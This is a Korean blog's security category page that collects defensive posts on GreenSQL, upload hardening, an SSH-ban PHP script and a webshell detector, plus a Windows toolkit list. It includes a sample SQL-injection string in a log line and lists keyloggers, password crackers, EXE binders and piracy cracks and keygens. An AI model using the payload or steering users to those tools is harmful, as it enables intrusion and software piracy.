Search Results for '해킹&보안/보안관련'
50 posts related to '해킹&보안/보안관련'
- 2019/10/30 무료&유료 DNS 및 HTTPS 서비스를 무료 지원 사이트
- 2018/08/03 웹 취약점 진단툴
- 2012/08/24 [보안] Sql injection을 막아주는 Green SQL
- 2011/10/24 [보안] 파일업로드와 관련된 보안 정리
- 2011/10/23 [보안] 악성 스크립트 쉘 체크하기
- 2011/09/13 실무에서 사용하는 보안 도구의 리스트
- 2011/03/06 윈도비스타 이상에서 symlink 사용하기
- 2011/01/27 Process Explorer 다운로드
- 2011/01/27 로그 보는 프로그램 mtail 과 i-tail
- 2011/01/27 네트워크 상태 및 IP/PORT 감시 프로그램 TcpView
- 2011/01/27 컴퓨터에 실행되는 프로세스 추적 Process Viewer
- 2010/08/29 링크스캐너, 방문하는 웹사이트에서 공격당할 가능성을 점검하는 프로그램
- 2010/08/18 /var/log/secure 로그를 이용한 IP Deny 자동 등록
- 2010/06/04 리눅스 whistl 사용기
- 2010/06/04 리룩스 상에서 iptable을 이용한 방화벽 설정입니다.
- 2010/03/12 웹서버 취약점 점검도구 - Nikto 1
- 2010/03/12 php sql 인젝션 해킹 예방
- 2009/09/30 최신 해킹의 주범 윈도 루트킷을 잡아내자 -rkdscan
- 2009/09/30 국정원 8대 홈페이지 취약성, OWASP 10대 위협..알고계신가요?
- 2009/09/30 여러가지 훜 기법들과 탐지법들
- 2009/09/30 [자동 저장 문서]프로그래밍단에서 커널단 접근 및 프로세스 숨김
- 2009/08/28 hosts 파일을 이용한 사이트 차단방법 1
- 2009/08/27 보안(원문) - SECURING YOUR UNIX SYSTEMS
- 2009/08/27 웹방화벽으로 DDOS막기 1
- 2009/08/27 웹나이트 설치 후, 반드시 해야 할 일 두 가지
- 2009/08/27 MSSQL, 'sp_replwritetovarbin' 프로시저의 힙 오버플로우 취약점
- 2009/08/27 KISA에서 발표한 웹해킹방어도구 'CASTLE' 1
- 2009/08/26 CSRF 취약점 이용한 공격 방어하기
- 2009/08/26 인코딩을 통한 XSS필터 회피 기술
- 2009/08/26 SQL Injection을 보안하기위한 고찰
입니다.
HTTPS 서비스까지 무료 지원 합니다. SSL 인증서 없이 DNS 레코드만 등록하면 됩니다.
불법 사이트에서 많이 사용하는데 무료 서비스도 안정적이지만 속도가 조금 불만 스럽다면 유료 서비스 진행 하셔도
좋을듯 합니다.
CloudFlare 구글링 하면 쉽게 사용법 나와 있습니다.
보충 설명 하자면 DNS , DDOS(디도스) , CDN , SSL , PAGE RULL 이런 기능들이 무료입니다.
GreenSQL을 설치하고 실행과정은 이렇다. MySQL 서버는 기존 그대로 실행(디폴트 3306 포트)하고, GreenSQL을 3305포트로 실행(127.0.0.1:3305)한다. 이 때 GreenSQL은 MySQL 서버로 커넥션이 이뤄진다. 웹페이지는 DB커넥션을 GreenSQL의 3305포트로 커넥션하도록 변경해주면 된다. (MySQL을 3305로, GreenSQL을 3306으로 실행할 수도 있을 것이다.)
[ 이미지 출처 : GreenSQL 홈페이지 ]
DB 쿼리의 정상, 비정상은 어떻게 판단하는가?
1) '관리자가 실행할 SQL 유형'이나 '민간한 형태의 SQL 유형'(flush privileges, show 명령, 불법적 형태 등)을 패턴 매칭 방식으로 찾아서 불법 요청으로 간주한다. 예를들면 DB관리 명령어, DB 스키마를 변경시도하는 경우, 시스템 파일을 액세스하려는 경우 등을 불법으로 간주한다. 이 패턴에 대해서는 설정 파일을 통해서 변경이 가능하다.
2) 그후 각 쿼리 유형에는 점수가 할당되어 있는데, 이 점수를 합산한다. 지정된 값 이상이 될 경우, 경고 메시지를 뿌려주거나 차단할 수 있다. 유형은 다음과 같다.
* Access to sensitive tables increases risk query (users, accounts, credit information)
* Comments inside SQL commands increases query risk
* Usage of an empty password string
* Found ‘or’ token inside query
* Found SQL expression that always return true (SQL tautology)
* Comparison of constant values (SQL tautology)
* ... 등 ...
점수는 설정 파일을 통해서 변경이 가능하다. 다음은 샘플 설정 파일의 일부이다.
# If query risk is bigger then specified value, query will be blocked
block_level = 30
# Level of risk used to generate warnings. It is recomended to run application
# in low warning level and then to acknowledge all valid queries and
# then to lower the block_level
warn_level=20
# Risk factor associated with SQL comments
risk_sql_comments=30
차단된 샘플 로그이다. (sCag님 제공. 감사합니다.)
2008-12-09 16:54:18 mysql SELECT * FROM user WHERE name = 'x' or 1=1; --' AND pwd=SHA('') blocked
GreenSQL에 대한 결론이다.
멋진 생각이다. ^^
패턴 설정과 차단수준을 유동적으로 변경 가능하다.
대부분의 리눅스 배포판을 지원하며, FreeBSD도 지원한다.
성능 테스트 결과 약간의 성능 저하가 발생한다. (2~12%정도)
대용량 서비스에서 사용하기는 무리가 있을 것 같다.
소규모 사이트나 웹호스팅에서는 고려해볼만 하다.
SQL Relay(DB 풀링과 로드발런싱 등)에서 제공하는 기능 등이 하나로 합쳐진다면 멋질 것 같다.
내용 출처 : http://truefeel.tistory.com/129
다운로드 : http://www.greensql.net/download
첫째,
PHP 파일업로드 후 스크립트 실행에 대한 해결책..
$UPfile = "$upload_name.zip"; // 업로드된 원래 파일뒤에 .zip 포함
$F = opendir("./data") or die(error("./data 디렉토리를 열수 없습니다"));
while($existF = readdir($F)) {
if (file_exists("./data/$UPfile")) {
$y++;
$UPfile = "$upload_name@$y.zip";
// 같은이름이 존재하면 @번호 형식으로 파일명 변경
}
}
closedir($F);
$tfile = substr($UPfile,0,-4); // .zip을 뺀 파일명 DB에 저장
copy($upload,"./data/$UPfile") or die(error("파일 저장에 오류가 있습니다"));
실제로 저장되어 있는 파일명은 .zip 으로 되어있어서 실행이 불가능하며
무조건적으로 다운됩니다.
다운로드시 Header 함수 사용
$filename = "./data/$file.zip"; // 저장되어 있는 파일명
$filesize = filesize($filename); // 저장되어 있는 파일의크기
$Tfile = explode("@",$file); // 원래 파일명 반환
Header("Content-Type: application/zip");
Header("Content-Disposition: inline; filename=$Tfile[0]");
Header("Content-Length: $filesize");
Header("Pragma: no-cache");
Header("Expires: 0");
$fp=fopen("$filename", "r");
echo fread($fp, $filesize);
fclose($fp);
둘째,
GET 방식으로 변수전달하여 서버내의 파일을 다운로드 하는 문제와
사용자가 파일전송폼의 HTML 문서를 사용자의 PC에 저장하여
POST 방식으로 변수전달할경우
if (!eregi("http://$HTTP_HOST",$HTTP_REFERER) or $QUERY_STRING) {
echo("정상적인 접근 바랍니다");
exit;
}
리눅스 서버의 경우
일단 삼바서버를 띄운다음 노트북이나 클라이언트로 로컬로 붙입니다.
네트웍 드라이브를 잡아 알약 같은 프로그램으로 검사 하는겁니다.
다운받은 각종 유틸 , 동영상, 소스를 서버에 옮기다보니
여기저기 실시간 검색에서 튀어나온 트로이목마들이 많이 발견되더군요.
로컬망을 기가바이트 허브와 각 호스트에 기가바이트 랜카드를 연결하고
CAT6 망으로 바꾸니 복사 속도가 대략 10배나 빨라졌네요.
동영상 큰 파일은 초당 100메가
소스같은 작은 파일은 30메가 정도 나오더군요.
이정도 속도면 SATA 하드를 직접 메인보드에 연결하여 복사하는 속도랑 맞먹습니다.
The main categories are listed first, followed by an individual listing
of each category, and any sub-categories inside them if necessary.
=========================
---[ Main Categories ]---
=========================
AnalogX.com Freeware
Anti-Spyware
Antivirus Tools & Scanners
Checksum.org Freeware
DiamondCS.com.au Freeware
File Recovery & Forensics
FireFox 1.0
Foundstone.com Freeware
GRC.com Freeware
Hacking & Related
Informational eBooks
KarenWare.com Freeware
Missing files (DLL, OCX, etc)
Network & Internet Tools
NTSecurity.nu Freeware
Other (Misc.)
Password Recovery
RJL Software (Freeware)
SteelBytes.com Freeware
SysInternals.com Freeware
System Information
UNIX Utilities (Win32 Ports)
Windows System & Security
========================
---[ Sub-Categories ]---
========================
* AnalogX.com Freeware
- AutoTab v1.00
- HyperTrace v2.02
- MaxMem v1.02
- NetStat Live 2.11
- PacketMon v1.00
- PCalc v1.11
- PortBlocker v1.02
- PortMapper v1.03
- Proxy v4.14
- ScriptDefender v1.02
- SimpleServer WWW v1.23
- TextScan v1.02
- WhoIs v3.01
* Anti-Spyware
- BHODemon 1.0.0.3
- BHODemon 2.0.0.21
- BHOList v1.40
- BugOff v1.10
- CWShredder 2.12
- HijackThis v1.99
- Kill2Me v1.11
- Spybot - S&D v1.3
- Startup CPL
* Antivirus Tools & Scanners
- avast! Virus Cleaner v1.0.206
- AVERT Stinger v2.4.7
- F-Prot v3.15b (DOS)
- Klister v0.4
- Microsoft Malware Removal Tool (Jan 2005)
- Patch Finder 2.11
- RKDetect
- VICE v2.0
* Checksum.org Freeware
- DriverList
- HackIt
- MD5Crack
- Monitor
- Rx
- Tx
* DiamondCS.com.au Freeware
- AdjustCR
- Advanced Process Manipulation
- Advanced Process Termination
- AutoStart Viewer v1.4
- CmdLine
- CPU Info
- DelLater
- HTTP Get
- ICMP Ping
- IP List
- IRClean & MIRClean
- OpenPorts v1.0
- PassDump
- PWReveal
- RegistryProt 2.0
- Resolve
- SendMail
- SHA-160 Hash
- TaskMan+ v1.5
- TraceRoute
- Uptime
- XWhois
* File Recovery & Forensics
- Active@ Uneraser v3.0 (DOS)
- Active@ Uneraser v3.0 (GUI)
- ADS Spy v1.05
- BackRex Expert Backup v2.1
- DiskCheck v1.0.57
- DiskView v1.0
- Eraser v5.3
- FileCHK
- Flobo Floppy Repair
- FlopShow v1.2
- Forensic Acquisition Utilities v1.0.0.1034 b1
- GetDataBack for FAT v2.31
- GetDataBack for NTFS v2.31
- Hex Editor v2.0
- LADS v4.00
- Mozilla Backup 1.3.2
- Norton Ghost Explorer 2003
- Partition Rescue v1.0
- PC Inspector File Recovery v3.0
- Recover My Files v3.06
- SectorSpy v2.1
- UnCHK 3
- Undeletion Wizard v1.1
- WinHex Professional v11.9 SR-8
* FireFox 1.0 (Portable)
* Foundstone.com Freeware
- Forensic
> BinText v3.0
> Forensic Toolkit v2.0
> Galleta v1.0
> NTLast v3.0
> Pasco v1.0
> PatchIt v2.0
> Rifiuti v1.0
> ShoWin v2.0
> Vision v1.0
- Intrusion Detection
> Attacker v3.0
> Filewatch v1.0
> Fport v2.0
- S3i
> Site Digger v2.0
> SSLDigger v1.0
- Scanning
> BOping v2.0
> CIScan v1.0
> DDosPing v2.0
> DSScan v1.0
> MessengerScan v1.05
> MyDoom Scanner v1.0
> NetSchedScan v1.0
> RPCScan v2.03
> ScanLine v1.01 (FScan)
> SNScan v1.05
> SQLScan v1.00
> SuperScan v3.0 & v4.0
> Trout v2.0
- Stress Testing
> Blast v2.0
> FSMax v2.0
> UDPFlood v2.0
- Foundstone Free Tools (Link)
* GRC.com Freeware
- DCOMbobulator
- FIX-CIH Virus Recovery
- ID Serve
- IDentify ASPI Devices
- LeakTest
- LetShare
- NoShare
- Shoot The Messenger
- SocketLock
- SocketToMe
- Trouble In Paradise (TIP)
- UnPlug n' Pray
- Wizmo
- XPdite
* Hacking & Related
- Attack Tool Kit v4.0
- AutoDial (War Dialing, 1986)
- Avalanche 3.6 (1997)
- GuidoZ Camophone.com (GUI)
- CyberFreak (1995)
- EXE Hiding
> eLiTeWrap 1.04
> Ghost
> Hidden32
> HideRun
> InPEct v1.1
- eXeScope v6.41
- Ghost Keylogger v3.8
- GuidoZ Cracks.am Searcher v1.21
- GuidoZ Key Logger v1.1
- Hacked Regedit
- Resource Hacker v3.4.0
* Informational eBooks
- 200 Ways To Revive A HDD (Rich Text Format File)
- BIOS Survival Guide (Rich Text Format File)
- How to use TELNET with SMTP (Text File)
- Increase WinXP Bandwidth (Text File)
- IP Subnetting (Adobe PDF)
- Receive only (CAT5) (Adobe PDF)
- Receive Only CAT5 (Text File)
- Smashing The Stack For Fun And Profit (Text File)
- Telenet Hosts (Text File)
- Telenet Secrets (Text File)
- The OSI Model (Adobe PDF)
- WinNT Hack (Text File)
* KarenWare.com Freeware
- Alarm Clock v3.0.3
- Autorun.inf Editor v1.4
- Clipboard Viewer v2.2
- Computer Profiler v2.5.1
- Cookie Viewer v3.3
- Countdown Timer II v3.4
- Directory Printer v4.3
- Disk Slack Checker v2.3.1
- Drive Info v2.2
- E-Mailer II v1.2
- Font Explorer v2.0.3
- LAN Monitor v1.3.4
- MD5 Hasher v1.0
- Net Monitor v3.5.1
- Print Logger v2.4.1
- Recycler v1.1
- Registry Pruner v2.5
- Registry Ripper v1.2
- Replicator v2.2.3
- Show Stopper v2.0.3
- Snooper v1.4
- Time Cop v1.2
- Time Sync v1.1.4
- URL Discombobulator v1.7.1
- Version Browser v3.1
- WhoIs v2.2.5
- Window Watcher v2.2.1
- Zone Manager v1.2
* Missing files (DLL, OCX, etc)
- Misc Other (VB 3 & 4+).zip
- Visual Basic Runtimes (5 & 6).zip
- WinPcap 3.1 Beta 4
* Network & Internet Tools
- 1st Transfer 2000 FTP client
- 7th Sphere PortScan
- Active Ports v1.4
- Analyzer v2.2
- Bandwidth Monitor v1.0.44
- Cisco PIX Firewall Password Calc
- Connection Keep Alive
- CryptCat (12-02-2003)
- DataPipe
- Email & Related
> POP3 Cleaner v2.0 Beta
> Receiving.exe
> Sending.exe
> SpeedMail v1.2 (Send with attachment)
- FreshDownload v7.20
- Host Scanner
- IP Tools v2.50
- IPsearch v2.0
- IRS v1.9
- MingSweeper 1.00.130 (a5)
- ModemMax
- NcFTP v3.1.8
- Netcat 1.11
- NetDemon 0.95b
- NetDemon 3.0
- NetScanTools v5.0
- Nmap v3.75
- Port Blocker v1.0.15
- PuTTY v0.56b
- Raw Clients
> DNS Lookup v1.2
> Mail Dump v1.2
> Raw TCP Client v1.2
- Sauron v1.2
- Scanning (CMD)
> scan100
> scan500
> scan1000
- sTerm v1.6
- Stunnel v4.05
- TCP Optimizer
- WEP (Wi-Fi) Keygen v1.9
- WinARP MitM v0.9.5
- WinARP Swiss Knife v0.9.2
- WinARP Watch
- WinSock and TCP Repair
- WSPing32
- X-File Get v1.0b
- X-NetStat Pro v5.12
* NTSecurity.nu Freeware
- CECrypt
- Contact (Text file)
- DelGuest
- ReadMe (Text file)
- AckCmd
- BrowseList
- ClearLogs
- CryptF
- DBProbe
- DumpUsers
- EFSView
- EtherChange
- EtherFlood
- FakeGINA
- FileHasher
- GPList
- GrabItAll
- GSD (Get Service Dacl)
- Inzider
- IPEye
- IPSecScan
- KerbCrack
- KLogger
- ListModules
- LNS - List NTFS Streams
- MACMatch
- NSCopy
- PEriscope
- PMDump
- PromiscDetect
- PStoreView
- RPAK (Routing Protocol Attack Kit)
- SetOwner
- SMB Downgrade Attacker
- Snitch
- SQLdict
- StrongPass
- Tini
- Winfo
- WinRelay
- WinZapper
- WPSweep
- WUPS
* Other (Misc.)
- Autorun
> Autorun.inf Maker
> Launch v1.2
> Removable disk WinXP Icon
> Trah Starterfile
- CD Tray Pal v1.0.55
- FreshView v3.60
- GmailFS (Must Install)
- GSpot v2.2.1
- HTML Tag Remover v1.0.20
- reJPEG v1.0
* Password Recovery
- Brutus AET2
- Cain & Abel v2.5
- John the Ripper v1.6
- L0pht Crack 5 (LC5)
- Local Password Recovery (Progenic)
- PacketCatch v1.1.0.0
- PacketInside v1.0.0.1
- PassDump (Win9x)
- Password Thief
- PWLInside v1.22
- SAMInside v2.2.6.0
- TPU (Total Password Utility)
- VeoVeo v3.4
- Winrtgen v1.2
* RJL Software (Freeware)
- DelayExec v1.00
- Open & Close CD v1.20
- Shutdown v1.02
- Simple Search-Replace v1.03
- TreeCopy v1.11
* SteelBytes.com Freeware
- Disk & File
> AutoCompress v1.2.0.15
> FileCompare v1.0.0.12
> HD_Speed v1.4.0.43
- Misc
> JPG & PNG Stripper v1.1.0.8
> Sleep v1.0
- Network
> ConnectionMonitor v1.2.0.30
> Email Tester v1.2.3.12
> FileGateway v1.4.0.109
> PortTunnel v2.0.5.281
> YAPS v1.0.2.30
- Programming
> Exe32Pack v1.42
* SysInternals.com Freeware
- Misc
> AdRestore v1.1
> Autologon v1.0
> ClockRes v1.0
> DiskExt v1.0
> DiskView v2.0
> EFSDump v1.02
> Hex2dec v1.0
> Hostname Converter
> Junction 1.03
> LoadOrder v1.0
> LogonSessions v1.1
> PendMoves v1.1
> Regjump v1.01
> Sigcheck v1.0
> Streams v1.5
> Strings v2.1
> Sync v2.2
> VolumeId v2.0
- Monitoring Tools
> CPUMon v2.0
> DebugView v4.31
> Diskmon v2.01
> Filemon v6.12
> Handle v2.20
> ListDLLs v2.23
> NTFSInfo v1.0
> PMon v1.0
> Portmon v3.02
> Process Explorer v8.52
> Regmon v6.12
> TCPView v2.34
> TDImon v1.01
> Tokenmon v1.01
> Winobj v2.13
- Performance Tools
> CacheSet v1.0
> Contig v1.51
> Frob v1.6a
> PageDefrag v2.3
- Utilities
> AccessEnum v1.2
> Autoruns v6.0
> Bluescreen v3.2 (Screensaver)
> BgInfo v4.08
> Ctrl2cap v2.0
> FAT32 for WinNT 4.0 v1.01
> Fundelete v2.02 (WinNT)
> LDMDump v1.02
> LiveKd v2.11
> NTFS for Win9x v2.0 (Read Only)
> NTFSCHK v1.0
> NTFSFlp v1.0
> PsTools v2.1
> SDelete v1.2
> ShareEnum v1.51
- SysInternals Free Tools (Link)
* System Information
- Aezay Computer Info v1.61
- Aida32 (Enterprise) v3.93
- Everest Home v1.51
- FlexInfo Pro v1.0.125
- FreshDiagnose v6.80
- NeroInfo Tool v2.21
- PCResView v2.0
- ShellExView v1.10
- SIW v1.44
- System Properties v1.2
- WinAudit v1.3
* UNIX Utilities (Win32 Ports)
- Outwit v1.23
> docprop
> odbc
> readlink
> readlog
> winclip
> winreg
- UnxUtils
> bin
sh.exe
> usrlocalwbin
agrep.exe ansi2knr.exe basename.exe bc.exe
bison.exe bunzip2.exe bzip2.exe bzip2recover.exe
cat.exe chgrp.exe chmod.exe chown.exe
cksum.exe cmp.exe comm.exe compress.exe
cp.exe csplit.exe cut.exe date.exe
dc.exe dd.exe df.exe diff.exe
diff3.exe dircolors.exe dirname.exe du.exe
echo.exe egrep.exe env.exe expand.exe
expr.exe factor.exe fgrep.exe find.exe
flex.exe fmt.exe fold.exe fsplit.exe
gawk.exe gclip.exe gplay.exe grep.exe
gsar.exe gunzip.exe gzip.exe head.exe
id.exe indent.exe install.exe join.exe
jwhois.exe less.exe lesskey.exe ln.exe
logname.exe ls.exe m4.exe make.exe
makedepend.exe makemsg.exe man.exe md5sum.exe
mkdir.exe mkfifo.exe mknod.exe mv.exe
mvdir.exe nl.exe od.exe paste.exe
patch.exe pathchk.exe pclip.exe pr.exe
printenv.exe printf.exe ptx.exe pwd.exe
recode.exe rm.exe rman.exe rmdir.exe
sdiff.exe sed.exe seq.exe sha1sum.exe
shar.exe sleep.exe sort.exe split.exe
stego.exe su.exe sum.exe sync.exe
tac.exe tail.exe tar.exe tee.exe
test.exe touch.exe tr.exe tsort.exe
type.exe uname.exe unexpand.exe uniq.exe
unrar.exe unshar.exe unzip.exe uudecode.exe
uuencode.exe wc.exe wget.exe wget.hlp
which.exe whoami.exe xargs.exe yes.exe
zcat.exe zip.exe zsh.exe
* Windows System & Security
- Account Lockout & Management Tools
- Active CPU v1.1
- AutoShutdown v1.1
- Cookie Eater v1.0
- DropMyRights
- DumpEvent
- Dump Event Log (DumpEL)
- Dump Registry (DumpReg)
- Dump Security v2.8.2 (DumpACL)
- EZMem Optimizer v1.0.15
- FileSplit v2-c
- Fix XP Logon (GINA)
- FreshUI v7.26
- GuidoZ MultiDesk v1.2
- IPFront
- MaxFormat v3.5
- MJB Keyfinder v1.5b3
- NET Users v1.21
- NET View v1.20
- Norton WinDoctor 2004
- Partition Management
> PartInNT.exe
> Pqboot32.exe
> PTEDIT32.EXE
- PKWare v2.04g (DOS)
- Pocket KillBox
- PrcView v3.7.3.1
- Print Screen Deluxe 5.1
- RegDACLE v5.1
- RestoreMBR
- SetFileDate 1.0
- SFV Checker v1.12
- SHA1 Sum
- SmeDump
- System Optimizer
- Total Uninstall v2.34
- Universal Activation Crack (WinXP)
- UnZip v5.12 (CMD)
- UPX v1.25 (Win32)
- UPX v1.25 (DOS)
- UPX Shell v3.0.9.2511
- UPX-iT v1.6.1
- WHOAMI
- Windows, Office & Misc CD Keys
- Windows Grep
- Windows XP SP2 Mods
- WinImage v6.10
- WinISO 5.3
- WinRAR 3.41
- XP AntiSpy v3.92
- XP Keygens & Changers
- XPlite & 2000lite Pro 1.5.02
관리자 권한 cmd.exe 에서 ln -s 하듯 아래와 같이 명령하면 됩니다.
단, ln 과는 link target 순서가 다릅니다.
mklink /d "C:\Program Files (x86)\NPKI" "C:\Program Files\NPKI"
이것은 윈도7 64bit 에서 카드결제시 설치된 공인인증서가 목록에 안나오는 문제를 해결하기 위해 인증서를 x86 쪽에 링크를 걸어준 것입니다.
컨트롤 할 수 있는 프로그램..
서버관리자라면 필수이겠쬬...!!
다운로드 : Process Explorer V11.33
☞ 주요기능
* 프로세스 아이콘을 보여줌
* 프로세스 강조 기능
* 프로세스 트리 디스플레이
* 리프레스 주기 설정 가능
* 리프레시 강조 : 프로세스, 제어, DLL 뷰 내의 새로운 새로운 엔트리는 녹색, 삭제된 것은 붉은색으로
* 툴팁 제공
* DLL 뷰 내에 DLL 상세 묘사
* 재위치한 DLL 강조
* Terminal Server 시스템을 포함한 모든 Process Owners 리스트
mtail: http://www.mtail.com 에서 제작
itail : http://idev.ibksystem.co.kr 에서 제작
텍스트 형태의 로그 파일을 실시간으로 모니터링 및 필터링 할 수 있는 툴입니다.
기능은 비슷하고 사용 편하신거 골라서 사용하시면 됩니다.
네트워크 및 서버를 관리하는 사람은 필수 있겠죠.
해당 프로그램을 이용하면, 본인 컴퓨터에 연결되어 있는 프로세스 및 접속 포트/아이피를 알아 낼수 있고
불법으로 연결되어 있는 프로세스들도 확인 가능하겠쬬..
다운로드 :
기능 간략 설명 :
녹색 : 새로 연결되는 프로그램
노란색 : 접속 상태가 변하고 있는 프로그램
빨간색 : 연결이 종료될 프로그램
빨간색 네모 해 놓은 못모양을 클릭하면 위에 X표가 생기면서 연결된 것들만 표시
그 옆에 A를 클릭하면 X가 생기면서 Local Address와 Remote Address가 아이피로 표시
두 프로그램을 적절히 사용하면,
보안 침해 분석에 조금더 쉬운 관리가 가능하다..
다운로드 :
설명 : Process Viewer는 윈도를 실행하면 실행되는 프로세서와 드라이버, 서비스를 리스트 형태로 보여주고 강제 종료할 수 있게 해주는 프로그램입니다.
따로 설치할 필요없이 다운 받은 파일의 압축을 풀고 실행하시면 되는 간단한 구조로 되어 있기 때문에 손쉽게 사용이 가능합니다.
프로그램을 실행하시면 현재 실행중인 프로세서, 드라이버, 서비스를 탭형식의 메뉴 형태로 보여줍니다.
프로세서창에서는 프로세서의 이름, PID, CPU 사용시간, 메모리 사용량을 보여주고 드라이버 항목에서는 이름, 기본 주소, Load Cnt, 경로 정보를 보여주며, 서비스 항목에서는 디스플레이 이름, Status, 시작 타입을 보여줍니다.
최근 보안 위협 중의 하나는 '미끼' 웹 사이트를 개설하여 이 사이트를 방문하는 사용자에게 액티브엑스 컨트롤을 다운로드하게 하여 이를 자동 설치하여 공격(홈페이지 변경, 악성프로그램 다운로드하여 스팸 발송, 바이러스 감염 등등)하는 경우가 아주 많습니다.
특히, 보안 패치가 제대로 이루어지지 않은 컴퓨터에서는 이러한 익스플로잇을 통한 공격이 다수 나타납니다. 물론, 정상적인 웹사이트도 해킹하여 기본 페이지의 하단에 자바 스크립트를 삽입하여 공격합니다.
이러한 공격을 예방하기 위해서는 보안 패치, 바이러스 백신, 악성코드 제거프로그램, 개인용 방화벽 등을 설치하여 운영하는 것은 기본이며, 그 밖에도 가급적이면 일반적인 사이트 이외에는 방문하지 않는 것이 좋습니다.
하지만, 웹페이지를 서핑하다 보면 외국의 사이트들을 들어 갈 경우도 많습니다. 특히, 와레즈 사이트, 포르노 사이트, 복권/도박 사이트들에는 이러한 익스플로잇이 미리 설치되어 있어 사용자를 곤경에 빠뜨릴 수 있습니다.
이러한 위협을 예방하기 위해서 '링크스캐너'라는 온라인 스캐너를 사용하여 방문하는 웹페이지에 어떠한 위협이 존재하는지 확인하는 프로그램을 사용하는 것이 좋습니다.
홈페이지: http://linkscanner.explabs.com/linkscanner/
/var/log/secure 로그를 이용한 IP Deny 자동 등록
이 스크립트는 리눅스에서 기본적으로 제공하는 로그를 이용하여 10분 간격으로 로그를 추출하고
20회 이상 Fail Password를 발생시킨 아이피를 Tcp-Wrapper(/etc/hosts.deny)에 등록시켜
더이상 해킹 시도를 방지한다.
Caution : 10분이내에 뚫리면 어찌할 수 없음... =,.=;
ps. 스크립트의 제작의 편리를 위해서 중복 등록확인은 없음... ^^;
기본환경 : 리눅스, PHP Shell script-x
작성언어 : PHP
동작원리
1. /var/log/secure 파일에서 10분대의 로그를 추출한다.
예 : 현재시간이 18:25:00 이라면 추출하는 시간은 18:10~19분을 추출한다.
2. 아이피 별로 갯수를 통계낸다.
3. 한 아이피에서 20회 이상 sshd로 비밀번호가 틀렸다면 /etc/hosts.deny에 "ALL:아이피주소"의
형태로 등록된다.
4. xinetd 데몬을 재시작한다.
5. 등록한 아이피 목록을 지정된 메일 주소로 발송한다.
실행방법
./secure_analysis.sh sshd
crontab 등록시
*/10 * * * * /경로명/secure_analysis.sh sshd
소스
#!/usr/local/bin/php
<?
// 개요
// secure log 를 분석해서 sshd로 불법적인 접속을 시도하는 IP를 /etc/hosts.deny에 등록하는 작업을 한다.
// Log Example : Jun 5 07:49:18 p1 sshd[1110]: Failed password for root from 211.114.190.196 port 52944 ssh2
// 추출 명령어 : grep "Jun 7 09" secure | grep "sshd" | grep "Failed password" | awk -F "from" '{print $2}' | awk '{print $1}'
// 지정된 입력값을 입력하지 않으면 실행하지 않는다.
if($argc > 1)
{
$RECEIVE_EMAIL = "수신 메일주소";
$Hostname = trim(exec("hostname"));
$Date = date("Y-m-d H:i:s");
// 10분전 분을 구한다.
$TenAgo = substr(date("i",mktime (date("H"), date("i")-10, 0, date("m"), date("d"), date("Y"))),0,1);
if(!file_exists("/service/log_temp"))
{
exec("mkdir -p /service/log_temp");
}
if(!file_exists("/service/log_temp/secure_analysis.log"))
{
exec("touch /service/log_temp/secure_analysis.log");
}
// 날짜에 따라서 검색어의 공백처리가 틀린 관계로 ... =,.=;
$DayLength = strlen(date("j"));
if($DayLength == 2)
{
$now = date("M j H:");
}
else
{
$now = date("M j H:");
}
if($argv[1] == "sshd")
{
exec("grep \"$now$TenAgo\" /var/log/secure | grep \"sshd\" | grep \"Failed password\" | awk -F \"from\" '{print \$2}' | awk '{print \$1}' > /service/log_temp/secure_log_".$argv[1]);
}
$Fail_IP_File = file("/service/log_temp/secure_log_".$argv[1]);
for($i=0; $i < count($Fail_IP_File); $i++)
{
$Fail_IP_File[$i] = trim($Fail_IP_File[$i]);
}
$Fail_Statistics = array_count_values($Fail_IP_File);
exec("echo \"\" > /service/log_temp/DenyIP.list_".$argv[1]);
while (list ($Ip, $Count) = each ($Fail_Statistics))
{
// 여기의 20을 조정하여 등록을 조절할 수 있다.
if($Count > 20)
{
$Now_Time = date("Y년 m월 d일 H시 i분 s초");
exec("echo \"#Regist $Now_Time\" >> /etc/hosts.deny");
exec("echo \"ALL : $Ip\" >> /etc/hosts.deny");
$Restart_Xinetd = 1;
exec("echo \"$Now_Time | $Ip | $Count 회\" >> /service/log_temp/DenyIP.list_".$argv[1]);
}
exec("echo \"$Date\t$Ip\t$Count\" >> /service/log_temp/secure_analysis.log");
}
if($Restart_Xinetd)
{
exec("killall -HUP xinetd");
exec("cat \"/service/log_temp/DenyIP.list_".$argv[1]."\" | mail -s \"$Hostname Deny IP List - $Date \" $RECEIVE_EMAIL");
}
}
else
{
echo("Missing Argument... Confirm Execute ...\n");
}
?>
방화벽 보수적으로 잡고 로그 분석해서 불안해 보이는 페이지들 막거나 수정하고,
침입 탐지용 스크립트 만들어서 크론에 1분에 한번씩 돌렸죠... 침입탐지 되면 SMS 쏘게..
그래도 안심 안돼서.. KRCert 가 보니 whistl 이라는 웹쉘 탐지 프로그램이랑
castle 이라는 일종의 필터링 프로그램을 발견하고 테스트 해보았습니다.
둘다 ASP 용 PHP 용 다 나와 있습니다.
우선castle 이라는 프로그램은 설치법 간단합니다.
작으만한 사이트에 붙여 봤는데.. 작아서 그런지 부하는 모르겠네요...
castle 관리자에서 대충 필터링 되는것들 들여다 봤는데..
그냥 단순한 정도인듯 하네요..
없는거보단 나으니 그냥 하나 셋팅해두는거도 괜찮을듯 합니다..
그다음 whistl 이놈은 바로 다운로드가 안되고 요청을 하면 보내주네요...
2-3일 내로 보내준다고 돼 있습니다.
아이디 패스워드랑 같이 프로그램을 보내주네요..
리눅스는 커널 2.4 랑 2.6 버전 2종류가 있고 서버에 맞게 실행권한 죠서 실행시키면 됩니다.
whistl_kernel_2.6 이게 2.6 커널용입니다. 실행권한 죠서 실행시키죠
validate.bin 이건 아이디 패스가 암호화 돼 있는 파일인듯 합니다. 반드시 필요하죠.
pattern.bin 이건 환경설정을 저장하는 파일인듯 합니다.
whistl -c 하면 환경설정 화면으로 들어가고요..
whistl Configuration
[1] Checking Directory : /home/www
[2] Inspection Center directory : /home/whistl/tmp
[3] Extension of php : inc,php,htm,html
[4] Extension of jsp : jsp,js
[s] save
[q] quit
Choose Menu:
메뉴에서 수정할줄을 선택해서 값을 입력하면 됩니다.
값이 여러개일때는 , 로 나열 합니다.
만일 값을 주었는데 수정이 안된다면 pattern 파일에 대한 쓰기 권한이 있는지 확인해봐야 될듯 합니다.
실제 검사는 아래처럼...
검사시 디렉토리 추가는 -d 옵션으로 디렉을 지정해주면 된다고 하네요.
-u -p 안해주면 실행시키고 로그인 하게 돼 있습니다.
[root@localhost whistl]# ./whistl -u 아이디 -p 암호
Checking the configration
[Config] Checking directory : /home/www
[Config] Inspection Center directory : /home/whistl/tmp
Checking the update status
[INFO] Pattern Update Finished
